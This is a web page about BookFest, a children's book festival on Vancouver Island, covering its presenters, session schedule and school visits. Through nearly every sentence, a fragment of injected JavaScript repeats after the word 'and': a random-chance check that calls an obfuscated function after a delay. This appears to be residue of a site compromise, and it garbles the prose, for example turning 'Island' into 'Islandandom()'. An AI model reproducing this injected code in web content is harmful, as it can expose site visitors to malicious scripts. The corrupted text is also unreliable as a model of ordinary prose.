About BookFest

  • 32 years of BookFest

About BookFest

BookFest is a wonderful, fun-filled day for children andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} adults alike. Renowned authors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrators from across Canada are invited to present their work, tell stories about their creations andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lives, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} inspire youth through literature andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} art. Past presenters have included Marie-Louise Gay, Ashley Spires, Jeremy Tankard, Kevin Sylvester, Sarah Ellis, Kit Pearson, Michael Kusugak, Mike Deas, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} many, many more. Find out about more past presenters here.

The day is divided into three sessions of 45 minutes each, starting at 10:15 a.m., 11:15 a.m. andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 1:30 p.m. Each child who registers may bring a parent andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} pick three BookFest presenter sessions of their choice. The presenters use a variety of techniques to inspire creativity andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enthusiasm for books in their audience: some use technology, some use story-blankets, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} others may leap andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} bounce about. Audience participation is common, as the presenters ask children to help with future book ideas or assist with a new illustration. 

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Presenters in the Schools

In the week leading up to the festival many of the authors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrators present in elementary schools throughout School District #68, #69, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} independent schools across the Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. This important aspect of the festival ensures that we can bring the power andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fun of literacy directly to students across Vancouver Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}.